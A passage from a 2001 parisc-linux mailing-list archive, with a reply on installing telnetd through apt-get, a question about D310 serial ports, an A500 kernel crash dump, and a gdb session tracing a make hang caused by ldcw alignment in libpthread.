and are networked,  "apt-get install telnetd" should work for you.

My /etc/apt/sources.list looks like this:


deb http://beast:80/rel0.9/debian sid main
deb http://beast:80/rel0.9/more-packages/debian sid main

deb http://http.us.debian.org/debian/ unstable main non-free contrib
deb-src http://http.us.debian.org/debian/ unstable main non-free contrib
deb http://non-us.debian.org/debian-non-US unstable/non-US main contrib non-free
deb-src http://non-us.debian.org/debian-non-US unstable/non-US main contrib non-free


'beast' is my local server which is making the CD contents available
over http.  You want the last four lines, at least.

Then something like


apt-get update		# updates apt cache with available pkg details
apt-get install telnetd	# should "just work"


You can find telnetd_*_hppa.deb on a debian mirror under
/pub/mirrors/debian/pool/main/n/netkit-telnet if you just want to
grab a file, and then install with "dpkg -i telnetd....deb".

The pkgs that get installed initially are a little dated, and newer
ones are in more-packages on the CD.

BEWARE that when I installed e2fsprogs_1.20-1_hppa.deb from more-packages
the system wouldn't boot any more because e2fsck crashed.  I recovered
by reinstalling e2fsprogs_1.19-4_hppa.deb from the debian tree on the
CD.

You don't say how you are trying to install gcc, libdb2, etc, but
your problem can probably be solved either by apt-get which will
sort out the dependancies for you, or with dpkg -i, specifying multiple
.deb files are arguments.

Richard





From - Thu Nov 08 21:17:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <djweis@sjdjweis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] D310 boot messages
Date: Wed, 6 Jun 2001 06:53:33 -0500 (CDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0106060652360.24277-100000@oliver.internal.sjdjweis.com>
References: <200106052059.OAA20922@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620191 20543 80.91.229.3 (22 Nov 2014 01:36:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  6 05:51:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from oliver.internal.sjdjweis.com (dsl.75.131.networkiowa.com [209.234.75.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4F2D4482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Jun 2001 05:51:52 -0600 (MDT)
Original-Received: from localhost (djweis@localhost)
	by oliver.internal.sjdjweis.com (8.9.3/8.9.3) with ESMTP id GAA25355;
	Wed, 6 Jun 2001 06:53:33 -0500
X-Sender: djweis@oliver.internal.sjdjweis.com
In-Reply-To: <200106052059.OAA20922@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11269

On Tue, 5 Jun 2001, Grant Grundler wrote:
> djweis@sjdjweis.com wrote:
> > 
> > Can any of the HP people comment on where the second serial port on a D310
> > lives?
> 
> 	http://216.208.98.4/view.php3?type=machine&name=D310
> 
> Says one is on WAX and the other on LASI.
> I can't say for sure which is first or second.
> Based on console output, one should be able to determine
> which is which by comparing the upper bits of the MMIO address
> to the address of LASI and WAX.

I was looking through the documentation section of the site and couldn't
find anything on wax. What other name would it be listed as? I did find
the lasi docs.

dave

-- 
Dave Weis             "I believe there are more instances of the abridgement
djweis@sjdjweis.com   of the freedom of the people by gradual and silent
                      encroachments of those in power than by violent 
                      and sudden usurpations."- James Madison





From - Thu Nov 08 21:17:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The A500 dump
Date: Wed, 06 Jun 2001 15:28:16 +0200
Lines: 253
Approved: news@gmane.org
Message-ID: <3B1E2FF0.7D086DB9@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------6968D00A2A7FE1A08FD8EFA8"
X-Trace: ger.gmane.org 1416620191 20545 80.91.229.3 (22 Nov 2014 01:36:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:31 +0000 (UTC)
To: Grant Grundler <grundler@puffin.external.hp.com>,
	"parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  6 07:15:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 091D2482A
	for <parisc-linux@parisc-linux.org>; Wed,  6 Jun 2001 07:15:43 -0600 (MDT)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id EC0E9D15B7; Wed,  6 Jun 2001 15:15:41 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11270

This is a multi-part message in MIME format.
--------------6968D00A2A7FE1A08FD8EFA8
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi all,

	I just get a dump from our A500. After that, everything was pretty out
of service (even the lan console).
So, it could be interesting.
mkhppa1:~# uname -a
Linux mkhppa1 2.4.0 #1 Tue May 1 17:48:13 CEST 2001 parisc64 unknown

Richard advices me to install his kernel because I do not have the
System.map for the last one :-(

Hope that will help, Thomas
ESIEE Team
--------------6968D00A2A7FE1A08FD8EFA8
Content-Type: text/plain; charset=us-ascii;
 name="a500_crash"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="a500_crash"

skput:over: 000000001025259c:1440 put:-8 de
v:<NULL>kernel BUG at skbuff.c:93!

Dumping Stack from 00000000258ec000 to 00000000258ed8c0:
c000 00000000 00000000 00000000 00000140 00000000 00000001 00000000 102e6a40
c020 00000000 00000001 00000000 00000000 ffffffff 00000000 00000000 00000000
c040 00000000 00000000 00000000 00000000 00000000 4fa22d80 00000000 00000000
c060 ffffffff ffffffff 00000000 102e6800 00000000 4f228068 00000000 01e9d27b
c080 00000000 25448000 00000000 49eac000 00000000 4fa22d80 00000000 102e4480
c0a0 00000000 00000012 00000000 00000000 00000000 00800000 00000000 000053f8
c0c0 00000080 00000000 00000080 000053f8 00000000 00000000 00000000 4e934000
c0e0 00000000 4e934000 00000000 4d188000 00000000 25448000 00000000 49eac000
c100 00000000 258ec100 00000000 258ec100 00000000 00000000 00000000 103b0680
c120 00000000 258ec120 00000000 258ec120 00000000 258ec8c8 00000000 00000000
c140 00000000 00000000 00000000 06388cbf 00000000 00000000 00000000 00000000
c160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c180 00000000 000015b3 00000000 258ec000 00000000 1030c750 00000059 000002ed
c1a0 00000075 000001f1 00000000 01855d9e 00000000 00000067 00000000 00000605
c1c0 00000000 0000186b 00000000 00000188 00000000 00000000 00000000 00001e5c
c1e0 00000000 0000a03f 00000000 00000000 80000000 0000fffe 0000fffe 0000fffe
c200 0000fffe 0000fffe 0000fffe 0000fffe 0000fffe 00000001 0000fffe 00000000
c220 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c240 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c260 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c280 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c2a0 00000000 00000000 00000000 4f448180 ffffffff ffffffff ffffffff ffffffff
c2c0 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
c2e0 00000000 00800000 00000000 05000000 00000000 00000000 ffffffff ffffffff
c300 ffffffff ffffffff ffffffff ffffffff 00000000 00003db1 00000000 00003db1
c320 00000000 00000400 00000000 00000400 ffffffff ffffffff ffffffff ffffffff
c340 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
c360 00006874 74706400 63746c00 00000000 00000000 00000000 00000000 00000000
c380 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c3a0 00000000 000af7bc 00000000 0002fd97 00000000 faf0ac40 00000000 faf08908
c3c0 00000000 faf00194 00000000 000b43c6 00000000 00000001 00000000 000b453e
c3e0 00000000 00091210 00000000 00094470 00000000 00094510 00000000 00000008
c400 00000000 00000000 00000000 00094750 00000000 00000000 00000000 00000000
c420 00000000 0007e808 00000000 00078440 00000000 4024f23c 00000000 00000004
c440 00000000 401dd8e4 00000000 faf00810 00000000 00000000 00000000 00000e7a
c460 00000000 000f81f0 00000000 00000003 00000000 000aefbc 00000000 00000000
c480 00000000 00102a48 00000000 faf00b00 00000000 401dd8ef 081fb800 00000000
c4a0 00000000 00000000 00000000 00000000 00000000 00000000 3fe99999 9999999a
c4c0 00000000 00000000 00000000 000003e8 3ff04902 00000000 00000000 00000802
c4e0 00000000 102ef9e8 00000000 10380000 00000000 10324570 00000000 1037cb88
c500 00000000 00000001 00000000 1016b208 00000000 10324570 00000000 10324570
c520 00000000 124fc000 00000000 4fa33080 00000000 10324570 00000000 102ef0b8
c540 00000000 10324570 00000000 00000028 00000005 9999999a 0000000c 4fa3b000
c560 00000000 0800000f 00000000 103ca390 00000000 10324570 00000000 4fa60480
c580 00000000 00000001 00000000 101551b0 ac3db1b5 6c8e04d8 00000000 00096e80
c5a0 00000000 00096e80 00000000 00000000 00000000 00096e80 00000000 00096e80
c5c0 00000000 00096e80 00000000 00096e80 00000000 00096e80 00000000 00096e80
c5e0 00000000 00096e80 00000000 0002c2d3 00000000 0002c2d7 00000000 4017a040
c600 00000000 258ec000 00000000 00000000 00000000 258ecfd0 00000000 10104514
c620 00000000 0000001c 00000000 0e601288 00000000 00096e80 00000000 00104064
c640 00000000 10388580 00000000 002f0000 00000000 4f7c8540 00000000 4efe1440
c660 00000000 4ec76d00 00000000 00000000 00000000 00000000 00000000 258ec670
c680 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c6a0 00000000 00000000 00000000 00000000 00000006 00000006 36d8eea4 ebf3e081
c6c0 06ff33f6 35e6c74e c680e11c 1fba8d46 cb03b120 310b7175 23f0f4af c1f5251a
c6e0 791ef872 d067fbd6 687b9065 8d186e7c 87da467b d0357bce 03c69ee3 59c2b281
c700 59c7026e b000276c 32b76b01 c7857db7 35bcf173 e8ab9b65 397bf3fc c27fa57b
c720 259b6ae4 cff5188e 19a7765b da604bf2 00000000 10105764 a2ec4f9e 0bd4e6fb
c740 00000000 000b43c6 00000000 faf00194 00000000 faf12bc8 00000000 faf10c80
c760 00000000 000b453e 00000000 00000001 00000000 000b43c6 00000000 faf00194
c780 00000000 faf12bc8 00000000 faf10c80 00000000 00094470 00000000 00094510
c7a0 00000000 00000008 00000000 00000000 00000000 10105dc0 00000000 00000000
c7c0 00000000 00000001 00000000 000b43c6 00000000 faf00194 00000000 000b457e
c7e0 00000000 faf00a80 00000000 39438720 00000000 39438728 00000000 00000000
c800 00000000 00000000 00000000 00078440 00000000 0007e808 00000000 00000000
c820 00000000 00000000 00000000 00094750 00000000 00000000 00000000 00000008
c840 00000000 00094510 00000000 00094470 00000000 00091210 00000000 000b453e
c860 00000000 00000001 00000000 000b43c6 00000000 faf00194 00000000 000b457e
c880 00000000 faf00780 00000000 000b43c6 000000e6 faf00194 00000000 00000000
c8a0 00000000 40254718 00000000 402548e6 00000000 10155e38 00000000 faf019a0
c8c0 00000000 00000001 00000000 00000000 00000000 4efe1440 00000000 258ec900
c8e0 00000000 00000001 00000000 00000000 00000000 00000000 00000000 00094470
c900 00000000 000f81f0 00000000 00000e7a 00000000 40255000 00000000 4e950440
c920 00000000 10324570 00000000 4fa22db0 00000000 1011eeac 00000000 00091210
c940 00000000 258ec000 00000000 00000000 00000000 10324570 00000000 10324570
c960 00000000 faf00790 00000000 10324570 00000000 00000023 00000000 00000004
c980 00000000 39438700 00000000 faf00810 00000000 00000008 00000000 00000000
c9a0 ffffffff fffffff4 00000000 258ec000 00000000 102362d8 00000000 00000008
c9c0 00000000 10324570 000053f8 0000fffe 0000fffe 00000000 00000000 00000000
c9e0 00000000 00000000 00000000 000f81f0 00000000 10324570 00000000 00000e7a
ca00 ffffffff ffffffea 00000000 10324570 00000000 103d01e0 00000000 10324570
ca20 00000000 39438000 00000000 10324570 00000000 1016d07c 00000000 00001000
ca40 00000000 258ec7c8 00000000 00000008 00000000 00000000 00000000 4e950440
ca60 00000000 4e950440 00000000 10324570 00000000 00000000 00000000 00001000
ca80 00000000 4fa22d80 00000000 0800000f 00000000 103ca1e0 00000000 10324570
caa0 00000000 4910a000 00000000 403c0000 00000000 10235ff4 ffffffff fffffffe
cac0 00000000 00000e7a 00000000 39ecafe8 00000000 10324570 00000000 00000000
cae0 00000000 4f6d69c0 00000000 000003c5 00000000 4efe9300 00000000 00000000
cb00 00000000 00000000 00000000 00000000 00000000 4f6d6ac0 00000000 4f796dc0
cb20 00000000 00000001 00000000 12422780 00000000 10272e6c 00000000 10324570
cb40 00000000 00000000 00000000 06337721 7fffffff ffffffff 00000000 00078440
cb60 00000000 0007e808 00000000 00000000 00000000 00000000 00000000 00094750
cb80 00000000 00000000 00000000 00000008 00000000 00094510 00000000 00094470
cba0 00000000 00091210 00000000 000b453e 00000000 258ec9c8 00000000 258ec8c8
cbc0 00000000 00000e7a 00000000 10324570 00000000 4efdf280 00000000 00000000
cbe0 00000000 00000001 00000000 00000003 00000000 00000001 00000000 000003c5
cc00 00000000 000003c4 00000000 4e7cf001 00000000 403c0000 00000000 10324570
cc20 00000000 00000000 00000000 258ecb30 00000000 102525cc 00000000 401dd8ab
cc40 00000000 10324570 00000000 4efdf3a8 ffffffff fffffff8 00000000 10324570
cc60 00000000 489618c0 00000000 40255000 00000000 102c44d8 00000000 102c44f0
cc80 00000000 0000005d 00000000 0000001f 00000000 4fa22d80 00000000 00000000
cca0 00000000 102c44f0 00000000 102c44d8 00000000 10239d40 00000000 4975fe19
ccc0 00000000 10324570 00000000 000f821f 00000000 000005a0 00000000 00000e4b
cce0 00000000 4efdf280 00000000 10324570 00000000 4efdf3a8 ffffffff fffffff8
cd00 00000000 4975fe48 00000000 10324570 00000000 24163000 00000000 10324570
cd20 00000000 10ccca80 00000000 00000001 00000000 10251da0 ac3db1b5 00000003
cd40 000000ff 080cff0f 00000000 00000000 00000000 1028e000 00000000 10324570
cd60 ffffffff fffffff8 00000000 4975fe48 00000000 258ecb48 00000000 00006470
cd80 00000000 4efdf280 00000000 00000e4b 00000000 000005a0 00000000 000f821f
cda0 00000000 10324570 00000000 000005a0 00000000 0000002f 00000000 00000000
cdc0 00000000 00000000 00000000 00000000 00000000 258ec910 00000000 00000000
cde0 00000000 4f228000 00000000 1031a4f0 00000000 00000001 ffffffff fea5c8d9
ce00 ffffffff fffce217 00000000 0012a000 00000000 4ad03566 00000000 10324570
ce20 00000000 0000001b 00000000 258ecd30 00000000 258ed080 00000000 00003fff
ce40 08000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
ce60 40c37bf7 47d06e6d 00000001 00000001 00000000 124fc000 3fe6a09e 667f3bcd
ce80 00000000 00000802 00000000 102ef9e8 00000000 10380000 00000000 10324570
cea0 00000000 1037cb88 00000000 00000001 00000000 1016b208 00000000 10324570
cec0 00000000 10324570 00000000 124fc000 00000000 4fa33080 00000000 10324570
cee0 00000000 102ef0b8 00000000 10324570 00000000 00000000 00000000 00000000
cf00 b38cf9b1 4fa3b000 00000000 0800000f 00000000 103ca390 00000000 10324570
cf20 00000000 4fa60480 00000000 00000001 00000000 101551b0 ac3db1b5 00000002
cf40 00000000 00091300 00000000 00096e80 00000000 00000000 00000000 00096e80
cf60 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cf80 00000000 00000000 00000000 00000000 00000000 1028dc68 00000000 1028dc64
cfa0 00000000 4017a040 00000000 00000000 00000000 101102b4 ac3db1b5 00000002
cfc0 00000000 00000010 00000000 00000003 00000000 0f401222 00000000 00096e80
cfe0 00000000 0012a000 00000000 00000000 00000000 00000000 00000000 00000000
d000 00000000 00000000 00000000 00000000 00000000 1012c5c8 00000000 1012c5cc
d020 00000000 4017a040 00000000 00000000 00000000 1028f0a0 00000000 00000000
d040 00000000 4efdf280 00000003 00000009 00000000 2b610000 00000000 00000000
d060 00000000 000000d0 00000000 0000000a 00000000 10105500 ffffffff ffffffff
d080 00000000 10324570 00000000 000f821f 00000000 000005a0 00000000 00000e4b
d0a0 00000000 4efdf280 00000000 00006470 00000000 258ecb48 00000000 4975fe48
d0c0 ffffffff fffffff8 00000000 10324570 00000000 10324570 00000000 0000000f
d0e0 00000000 258ecb40 00000000 4fa68ac0 00000000 1012fba8 00000000 10324570
d100 00000000 000f821f 00000000 000005a0 00000000 00000e4b 00000000 0000000e
d120 00000000 00000001 00000000 1038f100 00000000 0000000b 00000000 00000001
d140 00000000 1038f120 00000000 00000000 00000000 48ee22c0 00000000 12568000
d160 00000000 10324570 00000000 00000020 00000000 10109930 00000000 00000001
d180 00000000 00000001 00000000 10324570 00000000 00000001 00000000 00000041
d1a0 00000000 1038acc3 00000000 10324570 00000000 00000008 00000000 00000001
d1c0 00000000 1038f120 00000000 4fa22d80 00000000 0000000f 00000000 4910a240
d1e0 00000000 000000e0 00000000 12568200 00000000 10109790 00000000 00000000
d200 00000000 00000041 00000000 10324570 00000000 10324570 00000000 12568000
d220 00000000 4e5da380 00000000 00000000 00000000 102439ac 00000000 00000001
d240 00000000 10324570 00000000 4f0bf880 00000000 10324570 00000000 48ee22c0
d260 00000000 12568000 00000000 4fa68ac0 00000000 10112a70 00000000 00001d50
d280 00000000 258ecd40 00000000 10324570 00000000 124f7400 00000000 102ce0d8
d2a0 00000000 000005a0 00000000 4efdf280 00000000 10324570 00000000 00000000
d2c0 00000000 00096e80 00000000 0012a000 00000000 10324570 00000000 0000000f
d2e0 00000000 258ecd40 00000000 12568200 00000000 10109790 00000000 0000001e
d300 00000000 258ec910 00000000 00000000 00000000 258ecd40 00000000 00000000
d320 00000000 0000002f 00000000 000005a0 00000000 258ecd40 00000000 00000002
d340 40000000 00000000 00000000 102ceca8 00000000 10324570 40000000 00000000
d360 00000000 258ecd40 00000000 00000080 00000000 10324570 00000000 1257a000
d380 00000000 00000001 00000000 10324570 00000000 00000000 00000000 10324570
d3a0 00000000 258ec000 00000000 258ec000 00000000 10324570 00000000 258ecd40
d3c0 00000000 4fa22db0 00000000 4fa22d80 00000000 0000000f 00000000 4ef7a1c0
d3e0 00000000 258ecdc0 00000000 00000080 00000000 101d4524 00000000 1257a000
d400 00000000 00000000 00000000 000000a8 00000000 00000080 00000000 12568000
d420 ffffffff f0670040 00000000 10324570 00000000 258ecd40 00000000 00000080
d440 00000000 10324570 00000000 12568200 00000000 1028dc4c 00000000 1030b470
d460 00000000 1030b470 00000000 12568200 00000000 10110394 00000000 00000000
d480 00000000 00000080 00000000 10324570 00000000 10324570 00000000 00000000
d4a0 00000000 12536000 00000000 10324570 00000000 00000000 00000000 00000001
d4c0 00000000 10324570 00000000 258ec000 00000000 00000346 00000000 4cf13000
d4e0 00000000 1235c980 00000000 4fa68ac0 00000000 101d4188 00000000 1257a000
d500 00000000 00000042 00000000 12568200 00000000 10324570 00000000 00460320
d520 00000000 4e5da380 00000000 10324570 00000000 00000000 00000000 00000001
d540 00000000 10324570 00000000 258ec000 00000000 00000332 00000000 10324570
d560 00000000 1235c980 00000000 12568200 00000000 1023cd90 ac3db1b5 00000003
d580 000000ff 0804ff0e 00000000 103aaf10 00000000 101d4188 00000000 00000000
d5a0 00000000 00000002 00000000 00000054 00000000 10324570 00000000 00000050
d5c0 00000000 00000005 00000000 10324570 00000000 12568000 00000000 0000001f
d5e0 00000000 00000000 00000000 00000000 00000000 00000019 00000000 00000000
d600 00000000 00002002 00000000 000000c0 00000000 00000010 00000000 00000072
d620 00000000 00000000 00000000 0800000e 00000000 00000000 00000000 1032ed70
d640 00000100 40000100 00000000 49abd5c0 00000000 00000054 00000000 10324570
d660 00000000 3c105410 00000000 258ed4f0 00000000 258ed8c0 00000000 00003fff
d680 08000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
d6a0 40c37bf7 47d06e6d 00000001 00000001 00000000 124fc000 3fe6a09e 667f3bcd
d6c0 00000000 00000802 00000000 102ef9e8 00000000 10380000 00000000 10324570
d6e0 00000000 1037cb88 00000000 00000001 00000000 1016b208 00000000 10324570
d700 00000000 10324570 00000000 124fc000 00000000 4fa33080 00000000 10324570
d720 00000000 102ef0b8 00000000 10324570 00000000 00000000 00000000 00000000
d740 b38cf9b1 4fa3b000 00000000 0800000f 00000000 103ca390 00000000 10324570
d760 00000000 4fa60480 00000000 00000001 00000000 101551b0 ac3db1b5 00000002
d780 00000000 00091300 00000000 00096e80 00000000 00000000 00000000 00000000
d7a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
d7c0 00000000 00000000 00000000 00000000 00000000 10239ed8 00000000 10239edc
d7e0 00000000 4017a040 00000000 00000000 00000000 10149f94 00000000 10324570
d800 00000000 00000000 00000000 00000001 00000000 0e8112d0 00000000 00000000
d820 00000000 00000008 00000000 12568200 00000000 1012fe50 00000000 00001920
d840 00000000 00000000 00000000 01e5ab8a 00000000 4efdeaa8 00000000 00641bb2
d860 00000000 12568240 00000000 12568238 00000000 10140a84 00000000 1257a000
d880 00000000 00000000 00000000 10324570 00000000 1247bb00 00000000 00000000
d8a0 00000000 12568000 00000000 10324570 00000000 10105764 00000000 0000001f

Kernel Fault: Code=26 regs=00000000258ed580 (Addr=0000000000000008)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001110
r0-3     0000000000000000 00000000103aaf10 00000000101d4188 0000000000000000
r4-7     0000000000000002 0000000000000054 0000000010324570 0000000000000050
r8-11    0000000000000005 0000000010324570 0000000012568000 000000000000001f
r12-15   0000000000000000 0000000000000000 0000000000000019 0000000000000000
r16-19   0000000000002002 00000000000000c0 0000000000000010 0000000000000072
r20-23   0000000000000000 000000000800000e 0000000000000000 000000001032ed70
r24-27   0000010040000100 0000000049abd5c0 0000000000000054 0000000010324570
r28-31   000000003c105410 00000000258ed4f0 00000000258ed8c0 0000000000003fff
sr0-3    0000000000091300 0000000000096e80 0000000000000000 0000000000000000
sr4-7    0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000010239ed8 0000000010239edc
 IIR: 0e8112d0    ISR: 0000000000000000  IOR: 0000000000000008
ORIG_R28: 0000000010149f94


--------------6968D00A2A7FE1A08FD8EFA8--





From - Thu Nov 08 21:17:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] more ldcw alignment problems?
Date: Wed, 6 Jun 2001 14:37:46 +0100
Lines: 150
Approved: news@gmane.org
Message-ID: <20010606143746.T25745@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620191 20548 80.91.229.3 (22 Nov 2014 01:36:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  6 07:41:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9996A487B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Jun 2001 07:41:20 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id A4C4AB007; Wed,  6 Jun 2001 14:37:46 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:11271

715/old, fresh install, glibc 2.2.3 based, trying to build the
kernel, make hung.  Don't know if a rebuild of make will help
or not, as the ldcw is for a location on the stack.

apollo:/usr/src/linux# /share/gdb/gdb2 /usr/bin/make
GNU gdb 5.0
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "hppa-linux"...(no debugging symbols found)...
(gdb) attach 1223
Attaching to program: /usr/bin/make, Pid 1223
Reading symbols from /lib/librt.so.1...(no debugging symbols found)...done.
Loaded symbols for /lib/librt.so.1
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/libpthread.so.0...(no debugging symbols found)...
done.
Loaded symbols for /lib/libpthread.so.0
Reading symbols from /lib/ld.so.1...done.
Loaded symbols for /lib/ld.so.1
0x4019bf40 in _end_init () from /lib/libpthread.so.0
(gdb) x/10i 0x4019bf30
0x4019bf30 <_end_init+152>:     ldw 684(sr0,r1),r21
0x4019bf34 <_end_init+156>:     bv r0(r21)
0x4019bf38 <_end_init+160>:     ldw 688(sr0,r1),r19
0x4019bf3c <_end_init+164>:     addil -800,r19,%r1
0x4019bf40 <_end_init+168>:     ldw 46c(sr0,r1),r21
0x4019bf44 <_end_init+172>:     bv r0(r21)
0x4019bf48 <_end_init+176>:     ldw 470(sr0,r1),r19
0x4019bf4c <_end_init+180>:     addil -800,r19,%r1
0x4019bf50 <_end_init+184>:     ldw 73c(sr0,r1),r21
0x4019bf54 <_end_init+188>:     bv r0(r21)
(gdb) stepi
0x40116614 in sched_yield () from /lib/libc.so.6
(gdb) 
0x40116618 in sched_yield () from /lib/libc.so.6
(gdb) 
0x40116644 in sched_yield () from /lib/libc.so.6
(gdb) 
0x40116648 in sched_yield () from /lib/libc.so.6
(gdb) 
0x4011664c in sched_yield () from /lib/libc.so.6
(gdb) 
0x401a1f48 in __pthread_acquire () from /lib/libpthread.so.0
(gdb) x/10i 0x401a1f30
0x401a1f30 <__pthread_acquire+92>:      ldo 481(r20),r6
0x401a1f34 <__pthread_acquire+96>:      ldo -78(sp),r26
0x401a1f38 <__pthread_acquire+100>:
    cmpb,< r7,r4,0x401a1f60 <__pthread_acquire+140>
0x401a1f3c <__pthread_acquire+104>:     ldi 0,r25
0x401a1f40 <__pthread_acquire+108>:     b,l 0x4019bf3c <_end_init+164>,rp
0x401a1f44 <__pthread_acquire+112>:     ldo 1(r4),r4
0x401a1f48 <__pthread_acquire+116>:     copy r5,r19
0x401a1f4c <__pthread_acquire+120>:     ldcw  0(sr0,r3),r20
0x401a1f50 <__pthread_acquire+124>:
    cmpib,<> 0,r20,0x401a1f10 <__pthread_acquire+60>
0x401a1f54 <__pthread_acquire+128>:     ldw -94(sr0,sp),rp
(gdb) stepi
0x401a1f4c in __pthread_acquire () from /lib/libpthread.so.0
(gdb) i r
     flags: 0                       pcsqt: 1ac                
        r1: fffff000                 eiem: 0                  
        rp: 401a1f4b                  iir: c6011d4            
        r3: faf03008                  isr: 1ac                
        r4: 1                         ior: faf028c8           
        r5: 401bfdb0                 ipsw: 4000b              
        r6: 1e8481                   cr31: 0                  
        r7: 31                        sr4: 1ac                
        r8: faf027a0                  sr0: c                  
        r9: 4019123c                  sr1: c                  
       r10: 3ffb8                     sr2: 0                  
       r11: faf02810                  sr3: 1ac                
       r12: 46                        sr5: 1ac                
       r13: 3ffb8                     sr6: 1ac                
       r14: 2c000                     sr7: 1ac                
       r15: 5c                       rcnt: 0                  
       r16: faf027a0                ptid1: 0                  
       r17: 407b8                   ptid2: 0                  
       r18: 2c000                     ccr: 0                  
       r19: 401bfdb0                ptid3: 0                  
       r20: 9e                      ptid4: 0                  
       r21: 4011660c                 cr24: 0                  
       r22: 401bd040                 cr25: 0                  
       r23: faf02d40                 cr26: 0                  
       r24: faf02810                 cr27: 9e                 
       r25: 0                        cr28: 0                  
       r26: faf03010                 cr29: 0                  
        dp: 3ffb8                    cr30: 12fc0000           
      ret0: 0                        fpsr: 0                  
      ret1: 0                        fpe1: 0                  
        sp: faf03088                 fpe2: 0                  
       r31: 40116617                 fpe3: 0                  
       sar: 1e                       fpe4: 0                  
     pcoqh: 401a1f4c                 fpe5: 0                  
     pcsqh: 1ac                      fpe6: 0                  
     pcoqt: 401a1f50                 fpe7: 0                  
(gdb) bt
#0  0x401a1f4c in __pthread_acquire () from /lib/libpthread.so.0
#1  0x401a1a18 in __pthread_lock () from /lib/libpthread.so.0
#2  0x4019ec50 in pthread_mutex_lock () from /lib/libpthread.so.0
#3  0x401a10ec in flockfile () from /lib/libpthread.so.0
#4  0x400af6bc in vfprintf () from /lib/libc.so.6
#5  0x400c5314 in vsprintf () from /lib/libc.so.6
#6  0x400b43d8 in sprintf () from /lib/libc.so.6
#7  0x00028678 in error ()
#8  0x0001c72c in main ()
Cannot access memory at address 0x6368202c
(gdb) 

apollo:/home/richard# cat /proc/1223/maps 
00010000-00030000 r-xp 00000000 08:03 57336      /usr/bin/make
